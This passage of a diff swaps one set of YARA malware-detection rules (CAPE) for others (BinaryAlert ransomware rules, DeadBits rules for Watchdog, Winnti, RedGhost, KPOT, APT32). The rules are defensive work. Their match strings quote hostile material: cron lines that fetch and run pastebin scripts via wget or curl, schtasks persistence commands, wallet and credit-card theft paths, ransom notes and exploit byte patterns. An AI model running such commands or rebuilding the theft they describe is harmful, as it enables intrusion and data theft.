+		$s1 = "MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68EZjK+cIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB" fullword wide
 
 	condition:
-		6 of them
+		$s1
 }
-rule CAPE_Zeuspanda : FILE
+rule BINARYALERT_Ransomware_Windows_Hydracrypt
 {
 	meta:
-		description = "ZeusPanda Payload"
-		author = "kevoreilly"
-		id = "7891c021-6687-5457-b9e1-0beb0472647c"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/ZeusPanda.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "43d8a56cae9fd23c053f6956851734d3270b46a906236854502c136e3bb1e761"
+		description = "HydraCrypt encrypts a victim’s files and appends the filenames with the extension “hydracrypt_ID_*"
+		author = "@fusionrace"
+		id = "9ebf205e-b6a9-55a3-b0c3-9b088790dc9a"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/hydracrypt-variant-of-ransomware-distributed-by-angler-exploit-kit/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_hydracrypt.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "08b304d01220f9de63244b4666621bba"
+		logic_hash = "3ecb3e6c269f4145e60b0e7bb0e896120ceb2db2123f847bf4bdf5d4490467d5"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "ZeusPanda Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$code1 = {8B 01 57 55 55 55 55 55 55 53 51 FF 50 0C 85 C0 78 E? 55 55 6A 03 6A 03 55 55 6A 0A FF 37}
-		$code2 = {8D 85 B0 FD FF FF 50 68 ?? ?? ?? ?? 8D 85 90 FA FF FF 68 0E 01 00 00 50 E8 ?? ?? ?? ?? 83 C4 10 83 F8 FF 7E ?? 68 04 01 00 00 8D 85 B0 FD FF FF}
+		$u0 = "oTraining" fullword ascii wide
+		$u1 = "Stop Training" fullword ascii wide
+		$u2 = "Play \"sound.wav\"" fullword ascii wide
+		$u3 = "&Start Recording" fullword ascii wide
+		$u4 = "7About record" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule CAPE_Latrodectus
+rule BINARYALERT_Ransomware_Windows_Hddcryptora
 {
 	meta:
-		description = "Latrodectus Payload"
-		author = "enzok"
-		id = "50e6002c-ba3c-541b-adfe-b40ec0b5f56b"
-		date = "2024-01-18"
-		modified = "2024-01-18"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Latrodectus.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "a547cff9991a713535e5c128a0711ca68acf9298cc2220c4ea0685d580f36811"
-		logic_hash = "c0a0bbdc865600b78538670cd766b63f8ca1bf223195d0f5c937e5968500ea0e"
+		description = "The HDDCryptor ransomware encrypts local harddisks as well as resources in network shares via Server Message Block (SMB)"
+		author = "@fusionrace"
+		id = "56d7f1f5-811d-58c9-9e1d-d2f48c01e167"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_HDDCryptorA.yara#L1-L23"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "498bdcfb93d13fecaf92e96f77063abf"
+		logic_hash = "24c113be31c3df7b544a5789bf055f77471d450c07f0a6729a715e2a82b4d1f0"
 		score = 75
-		quality = 70
+		quality = 78
 		tags = ""
-		cape_type = "Latrodectus Payload"
 
 	strings:
-		$fnvhash1 = {C7 04 24 C5 9D 1C 81 48 8B 44 24 20 48 89 44 24 08}
-		$fnvhash2 = {8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01}
-		$procchk1 = {E8 [3] FF 85 C0 74 [2] FF FF FF FF E9 [4] E8 [4] 89 44 24 ?? E8 [4] 83 F8 4B 73 ?? 83 [3] 06}
-		$procchk2 = {72 [2] FF FF FF FF E9 [4] E8 [4] 83 F8 32 73 ?? 83 [3] 06}
+		$u1 = "You are Hacked" fullword ascii wide
+		$u2 = "Your H.D.D Encrypted , Contact Us For Decryption Key" nocase ascii wide
+		$u3 = "start hard drive encryption..." ascii wide
+		$u4 = "Your hard drive is securely encrypted" ascii wide
+		$g1 = "Wipe All Passwords?" ascii wide
+		$g2 = "SYSTEM\\CurrentControlSet\\Services\\dcrypt\\config" ascii wide
+		$g3 = "DiskCryptor" ascii wide
+		$g4 = "dcinst.exe" fullword ascii wide
+		$g5 = "dcrypt.exe" fullword ascii wide
+		$g6 = "you can only use AES to encrypt the boot partition!" ascii wide
 
 	condition:
-		all of them
+		2 of ($u*) or 4 of ($g*)
 }
-rule CAPE_Badrabbit : FILE
+rule BINARYALERT_Ransomware_Windows_Petya_Variant_2
 {
 	meta:
-		description = "BadRabbit Payload"
-		author = "kevoreilly"
-		id = "c7204772-6f14-57b7-88c1-e9156f9897d5"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/BadRabbit.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "309e14ab4ea2f919358631f9d8b2aaff1f51e7708b6114e4e6bf4a9d9a5fc86c"
+		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE"
+		author = "@fusionrace"
+		id = "6401fd7e-5ef7-58b5-b8d3-a63c70e8daa3"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_2.yara#L1-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "71b6a493388e7d0b40c83ce903bc6b04"
+		logic_hash = "7e04ffd0423cd1288af5c045bb06930abb732c0ea059e329cafc05faecb4f982"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "BadRabbit Payload"
+		quality = 78
+		tags = ""
 
 	strings:
-		$a1 = "caforssztxqzf2nm.onion" wide
-		$a2 = "schtasks /Create /SC once /TN drogon /RU SYSTEM" wide
-		$a3 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal" wide
+		$s1 = "dllhost.dat" fullword wide
+		$s2 = "\\\\%ws\\admin$\\%ws" fullword wide
+		$s3 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\"" fullword wide
+		$s4 = "\\\\.\\PhysicalDrive" fullword wide
+		$s5 = ".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip." fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		3 of them
 }
-rule CAPE_Qakbot5 : FILE
+rule BINARYALERT_Ransomware_Windows_Cryptolocker
 {
 	meta:
-		description = "QakBot v5 Payload"
-		author = "kevoreilly, enzok"
-		id = "48866cdd-f60e-50b8-85f9-573710934b0b"
-		date = "2024-04-28"
-		modified = "2024-04-28"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/QakBot.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "59559e97962e40a15adb2237c4d01cfead03623aff1725616caeaa5a8d273a35"
-		logic_hash = "cc23a92f45619d44af824128b743c259dd9dfa7cb5106932f3425f3dfd1dccdf"
+		description = "The CryptoLocker malware propagated via infected email attachments, and via an existing botnet; when activated, the malware encrypts files stored on local and mounted network drives"
+		author = "@fusionrace"
+		id = "be205f4b-d078-5437-bacc-203c816db2fa"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://www.secureworks.com/research/cryptolocker-ransomware"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cryptolocker.yara#L1-L21"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "012d9088558072bc3103ab5da39ddd54"
+		logic_hash = "317cbc01b4c329befeb5b25478f7827298a26d21b872ae232c519febd9c547fc"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "QakBot Payload"
-		packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2"
+		quality = 80
+		tags = ""
 
 	strings:
-		$loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E}
-		$c2list = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 45 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8}
-		$campaign = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 44 24 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8}
+		$u0 = "Paysafecard is an electronic payment method for predominantly online shopping" fullword ascii wide
+		$u1 = "bb to select the method of payment and the currency." fullword ascii wide
+		$u2 = "Where can I purchase a MoneyPak?" fullword ascii wide
+		$u3 = "Ukash is electronic cash and e-commerce brand." fullword ascii wide
+		$u4 = "You have to send below specified amount to Bitcoin address" fullword ascii wide
+		$u5 = "cashU is a prepaid online" fullword ascii wide
+		$u6 = "Your important files \\b encryption" fullword ascii wide
+		$u7 = "Encryption was produced using a \\b unique\\b0  public key" fullword ascii wide
+		$u8 = "then be used to pay online, or loaded on to a prepaid card or eWallet." fullword ascii wide
+		$u9 = "Arabic online gamers and e-commerce buyers." fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		2 of them
 }
-rule CAPE_Qakbot4 : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: DeadBits
+ * Repository: https://github.com/deadbits/yara-rules/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: d002f7ecee23e09142a3ac3e79c84f71dda3f001
+ * Number of Rules: 19
+ * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule DEADBITS_Watchdog_Botnet : BOTNET LINUXMALWARE EXPLOITATION CVE_2019_11581 CVE_2019_10149
 {
 	meta:
-		description = "QakBot v4 Payload"
-		author = "kevoreilly"
-		id = "d2c5316c-22cc-5b6d-b6a2-b1d23a06d16b"
-		date = "2024-04-28"
-		modified = "2024-04-28"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/QakBot.yar#L17-L35"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "b2870e33abffbb3ff49b7891b0f5c538ab48ee63da5553929d4e37dec921344f"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "ae95f934-2a9b-5c65-a11f-ea946d7f1bc6"
+		date = "2019-07-22"
+		modified = "2019-07-22"
+		reference = "https://twitter.com/polarply/status/1153232987762376704"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/WatchBog_Linux.yara#L1-L100"
+		license_url = "N/A"
+		logic_hash = "aea8afdf118b79f701941ddd4306ee0f1c947ea59de5485ff977beff95e06d35"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "QakBot Payload"
+		quality = 78
+		tags = "BOTNET, LINUXMALWARE, EXPLOITATION, CVE_2019_11581, CVE_2019_10149"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$crypto1 = {8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 C9 00 FF FF FF 41}
-		$sha1_1 = {5? 33 F? [0-9] 89 7? 24 ?? 89 7? 24 ?? 8? [1-3] 24 [1-4] C7 44 24 ?0 01 23 45 67 C7 44 24 ?4 89 AB CD EF C7 44 24 ?8 FE DC BA 98 C7 44 24 ?C 76 54 32 10 C7 44 24 ?0 F0 E1 D2 C3}
-		$sha1_2 = {33 C0 C7 01 01 23 45 67 89 41 14 89 41 18 89 41 5C C7 41 04 89 AB CD EF C7 41 08 FE DC BA 98 C7 41 0C 76 54 32 10 C7 41 10 F0 E1 D2 C3 89 41 60 89 41 64 C3}
-		$anti_sandbox1 = {8D 4? FC [0-1] E8 [4-7] E8 [4] 85 C0 7E (04|07) [4-7] 33 (C0|D2) 74 02 EB FA}
-		$anti_sandbox2 = {8D 45 ?? 50 E8 [2] 00 00 59 68 [4] FF 15 [4] 89 45 ?? 83 7D ?? 0F 76 0C}
-		$decrypt_config1 = {FF 37 83 C3 EC 53 8B 5D 0C 8D 43 14 50 6A 14 53 E8 ?? ?? ?? ?? 83 C4 14 85 C0 ?? 26 ?? ?? 86 20 02 00 00 66 85 C0 ?? ?? FF 37 FF 75 10 53}
-		$decrypt_config2 = {8B 45 08 8B 88 24 04 00 00 51 8B 55 10 83 EA 14 52 8B 45 0C 83 C0 14 50 6A 14 8B 4D 0C 51 E8 6C 08 00 00}
-		$decrypt_config3 = {6A 13 8B CE 8B C3 5A 8A 18 3A 19 75 05 40 41 4A 75 F5 0F B6 00 0F B6 09 2B C1 74 05 83 C8 FF EB 0E}
-		$call_decrypt = {83 7D ?? 00 56 74 0B FF 75 10 8B F3 E8 [4] 59 8B 45 0C 83 F8 28 72 19 8B 55 08 8B 37 8D 48 EC 6A 14 8D 42 14 52 E8}
+		$py0 = "libpython" ascii
+		$str0 = "*/3 * * * * root wget -q -O- https://pastebin.com/raw/" ascii
+		$str1 = "*/1 * * * * root curl -fsSL https://pastebin.com/raw/" ascii
+		$str6 = "onion.to"
+		$str7 = /https?:\/\/pastebin.com\/raw/ nocase
+		$str8 = "http://icanhazip.com/"
+		$str9 = "http://ident.me/"
+		$scan0 = "Scan_run"
+		$scan1 = "scan_nexus"
+		$scan2 = "scan_couchdb"
+		$scan3 = "scan_jenkins"
+		$scan4 = "scan_laravel"
+		$scan5 = "scan_redis"
+		$exploit01 = "CVE_2015_4335"
+		$exploit02 = "CVE_2018_1000861"
+		$exploit03 = "CVE_2018_8007"
+		$exploit04 = "CVE_2019_1014"
+		$exploit05 = "CVE_2019_11581"
+		$exploit06 = "CVE_2019_7238"
+		$pwn0 = "pwn_couchdb"
+		$pwn1 = "pwn_jenkins"
+		$pwn2 = "pwn_jira"
+		$pwn3 = "pwn_nexus"
+		$pwn4 = "pwn_redis"
+		$pwn5 = "pwn_exim"
+		$payload = /payload(s)/ nocase
+		$jira_token = "atlassian.xsrf.token=%s" ascii fullword
+		$jira_cmd = "set ($cmd=\"%s\")" ascii fullword
+		$jira_id = "JSESSIONID=%s" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and any of ($*)
+		uint32be(0x0)==0x7f454c46 and $py0 and (( all of ($pwn*) and all of ($scan*)) or ($payload and all of ($jira*) and 5 of ($str*)) or ( all of ($str*) and all of ($exploit*)))
 }
-rule CAPE_Arkei : FILE
+rule DEADBITS_Winnti_Linux : LINUXMALWARE FILE
 {
 	meta:
-		description = "Arkei Payload"
-		author = "kevoreilly"
-		id = "22ebe194-19a9-5bf2-9cfc-ea27b7724572"
-		date = "2020-02-11"
-		modified = "2020-02-11"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Arkei.yar#L1-L24"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "03980827db1c53d4090ab196ba820ca34b5d83dc7140b11ead9182cb5d28c7d3"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "d90dec69-1a8b-547c-a302-d00c612a71ed"
+		date = "2019-07-18"
+		modified = "2019-07-22"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/winnti_linux.yara#L1-L37"
+		license_url = "N/A"
+		logic_hash = "216c103b4ffceaa0540b8c81645d3fd91a7dab2b32b1cf84ccb85f134c9d23c8"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Arkei Payload"
+		quality = 76
+		tags = "LINUXMALWARE, FILE"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$string1 = "Windows_Antimalware_Host_System_Worker"
-		$string2 = "Arkei"
-		$string3 = "Bitcoin\\wallet.dat"
-		$string4 = "Ethereum\\keystore"
-		$v1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide
-		$v2 = "/c taskkill /im " fullword ascii
-		$v3 = "card_number_encrypted FROM credit_cards" ascii
-		$v4 = "\\wallet.dat" ascii
-		$v5 = "Arkei/" wide
-		$v6 = "files\\passwords." ascii wide
-		$v7 = "files\\cc_" ascii wide
-		$v8 = "files\\autofill_" ascii wide
-		$v9 = "files\\cookies_" ascii wide
+		$str0 = "HIDE_THIS_SHELL=x"
+		$str1 = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null" ascii fullword
+		$str2 = "mutex.max:  %lu" ascii fullword
+		$str3 = "mutex.err:  %lu" ascii fullword
+		$str4 = "/tmp/ans.log" ascii fullword
+		$str5 = "mutex.used: %lu" ascii fullword
+		$str6 = "Warning: Some of the worker threads may have failed to exit." ascii fullword
+		$str7 = "line %d - " ascii fullword
+		$str8 = "Warning an error has occurred when trying to obtain a worker task." ascii fullword
+		$str9 = "6CMutex" ascii fullword
+		$str10 = "Failed to obtain an empty task from the free tasks queue." ascii fullword
+		$str11 = "A problem was detected in the queue (expected NULL, but found a different value)." ascii fullword
+		$str12 = "Failed to a task to the free tasks queue during initialization." ascii fullword
+		$str13 = "/var/run/libudev1.pid" ascii fullword
+		$str14 = "__pthread_key_create" ascii fullword
+		$str15 = "The threadpool received as argument is NULL." ascii fullword
+		$str16 = "Failed to enqueue a task to free tasks queue." ascii fullword
+		$str17 = "Failed to obtain a task from the jobs queue." ascii fullword
+		$str18 = "Failed to add a new task to the tasks queue." ascii fullword
+		$str19 = "setsockopt  failed" ascii fullword
+		$str20 = "libxselinux.so" ascii fullword
+		$str21 = "/lib/libxselinux" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($string*) or 7 of ($v*))
+		uint16(0)==0x457f and 8 of them
 }
-rule CAPE_Codoso : FILE
+rule DEADBITS_Redghost_Linux : POSTEXPLOITATION LINUXMALWARE
 {
 	meta:
-		description = "Codoso Payload"
-		author = "kevoreilly"
-		id = "4c3d8d77-ffa9-576d-bf88-7b5a1bfd1811"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Codoso.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "32c9ed2ac29e8905266977a9ee573a252442d96fb9ec97d88642180deceec3f8"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "f598e115-f821-5932-aa14-5254bf28092c"
+		date = "2019-08-07"
+		modified = "2019-08-08"
+		reference = "https://github.com/d4rk007/RedGhost/"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/RedGhost_Linux.yara#L1-L45"
+		license_url = "N/A"
+		logic_hash = "0b12a0eda0a3b65c3da787770afb010eb5cd36426d41c04aca862ae1b01ab770"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Codoso Payload"
+		quality = 80
+		tags = "POSTEXPLOITATION, LINUXMALWARE"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$a1 = "WHO_A_R_E_YOU?"
-		$a2 = "DUDE_AM_I_SHARP-3.14159265358979"
-		$a3 = "USERMODECMD"
+		$name = "[ R E D G H O S T - P O S T  E X P L O I T - T O O L]" ascii
+		$feature0 = "Payloads" ascii
+		$feature1 = "SudoInject" ascii
+		$feature2 = "lsInject" ascii
+		$feature3 = "Crontab" ascii
+		$feature4 = "GetRoot" ascii
+		$feature5 = "Clearlogs" ascii
+		$feature6 = "MassinfoGrab" ascii
+		$feature7 = "CheckVM" ascii
+		$feature8 = "MemoryExec" ascii
+		$feature9 = "BanIP" ascii
+		$func0 = "checkVM(){" ascii
+		$func1 = "memoryexec(){" ascii
+		$func2 = "banip(){" ascii
+		$func3 = "linprivesc(){" ascii
+		$func4 = "dirty(){" ascii
+		$func5 = "Ocr(){" ascii
+		$func6 = "clearlog(){" ascii
+		$func7 = "conmethods(){" ascii
+		$func8 = "add2sys(){" ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		( uint16be(0x0)==0x2321 and for any i in (0..64) : ( uint16be(i)==0x2f62 and uint8(i+2)==0x68)) and ($name or 5 of them )
 }
-rule CAPE_Azorult : FILE
+rule DEADBITS_KPOT_V2 : WINMALWARE INFOSTEALER FILE
 {
 	meta:
-		description = "Azorult Payload"
-		author = "kevoreilly"
-		id = "ca76ec00-001f-56d0-bdbc-9dfd3239fba8"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Azorult.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "4691cf48d513d1965416b0cce1b6e19c8f7b393a940afd68b7c6ca8c0d125d90"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "19e8d261-c658-5d0d-a95c-43fcaf2942e2"
+		date = "2019-08-05"
+		modified = "2019-08-05"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/KPOT_v2.yara#L1-L33"
+		license_url = "N/A"
+		logic_hash = "dc8cce2ae3a427f771b19b4d0e027b653ff03a7bf816303460398987535c5351"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Azorult Payload"
+		quality = 80
+		tags = "WINMALWARE, INFOSTEALER, FILE"
+		Description = "Attempts to detect KPOT version 2 payloads"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$code1 = {C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 00 00 00 8D 85 80 F5 FF FF 89 47 2C C7 47 30 00 08 00 00 8D 85 80 F1 FF FF 89 47 34 C7 47 38 00 04 00 00 57 68 00 00 00 90}
-		$string1 = "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\")"
+		$str01 = "%s: " ascii fullword
+		$str02 = " _%s_" ascii fullword
+		$str03 = "0|%S|%s|%s|%s" ascii fullword
+		$str04 = "%s | %02d/%04d | %s | %s | %s" ascii fullword
+		$str05 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" ascii fullword
+		$str06 = "%s: %s | %02d/%04d | %s" ascii fullword
+		$str07 = "%s = %s" ascii fullword
+		$str08 = "password-check" ascii fullword
+		$conf_re1 = /(SMTP|POP3|IMAP)\sServer/ wide
+		$conf_re2 = /(SMTP|POP3|IMAP)\s(User|Password|Port)/ wide
+		$conf01 = "*.config" ascii wide fullword
+		$conf02 = "HTTP Server URL" ascii wide fullword
+		$conf03 = "%s: %d" ascii wide fullword
+		$conf04 = "%s\\Outlook.txt" ascii wide fullword
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint16(0)==0x5a4d and all of ($str*) and all of ($conf_re*) and all of ($conf0*)
 }
-rule CAPE_Eternalromance : FILE
+rule DEADBITS_APT32_Ratsnif : APT32 TROJAN WINMALWARE FILE
 {
 	meta:
-		description = "EternalRomance Exploit"
-		author = "kevoreilly"
-		id = "34035076-9dda-5e32-bd0b-d0257a96329b"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/EternalRomance.yar#L1-L33"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "5390fae3e2411a715cdc965df8648c0c4c511d53d5f76031714f1b784b58eb0d"
+		description = "No description has been set in the source file - DeadBits"
+		author = "Adam Swanda"
+		id = "d3664a84-bb53-5715-8b0d-e63f43d62496"
+		date = "2019-07-18"
+		modified = "2019-08-08"
+		reference = "https://github.com/deadbits/yara-rules"
+		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT32_Ratsnif.yara#L1-L65"
+		license_url = "N/A"
+		logic_hash = "a33eb2bb9ffe02f9b3fe706bd6a611457c669adc24c34f12d9014ed29ba1399f"
 		score = 75
-		quality = 68
-		tags = "FILE"
-		cape_type = "EternalRomance Exploit"
+		quality = 55
+		tags = "APT32, TROJAN, WINMALWARE, FILE"
+		Author = "Adam M. Swanda"
 
 	strings:
-		$SMB1 = "Frag"
-		$SMB2 = "Free"
-		$session7_32_1 = {2A 02 1C 00}
-		$session7_64_1 = {2A 02 28 00}
-		$session8_32_1 = {2A 02 24 00}
-		$session8_64_1 = {2A 02 38 00}
-		$session7_32_2 = {D5 FD E3 FF}
-		$session7_64_2 = {D5 FD D7 FF}
-		$session8_32_2 = {D5 FD DB FF}
-		$session8_64_2 = {D5 FD C7 FF}
-		$ipc = "IPC$"
-		$pipe1 = "atsvc"
-		$pipe2 = "browser"
-		$pipe3 = "eventlog"
-		$pipe4 = "lsarpc"
-		$pipe5 = "netlogon"
-		$pipe6 = "ntsvcs"
-		$pipe7 = "spoolss"
-		$pipe8 = "samr"
-		$pipe9 = "srvsvc"
-		$pipe10 = "scerpc"
-		$pipe11 = "svcctl"
-		$pipe12 = "wkssvc"
+		$pdb0 = "X:\\Project\\BotFrame\\Debug\\Client.pdb" ascii fullword
+		$str1 = "LastIP" ascii fullword
+		$str2 = "LastOnline" ascii fullword
+		$str3 = "LoaderType" ascii fullword
+		$str4 = "Payload" ascii fullword
+		$str5 = "PayloadFile" ascii fullword
+		$str6 = "ClientCommand" ascii fullword
+		$str7 = "ClientId" ascii fullword
+		$str8 = "UserAdmin" ascii fullword
+		$str9 = "User" ascii fullword
+		$str10 = "Password" ascii fullword
+		$str11 = "Access" ascii fullword
+		$str12 = "CreateDate" ascii fullword
+		$str13 = "CreateBy" ascii fullword
+		$str14 = "UserName" ascii fullword
+		$str15 = "ComputerName" ascii fullword
+		$str16 = "Domain" ascii fullword
+		$str17 = "OSType" ascii fullword
+		$str18 = "OSArch" ascii fullword
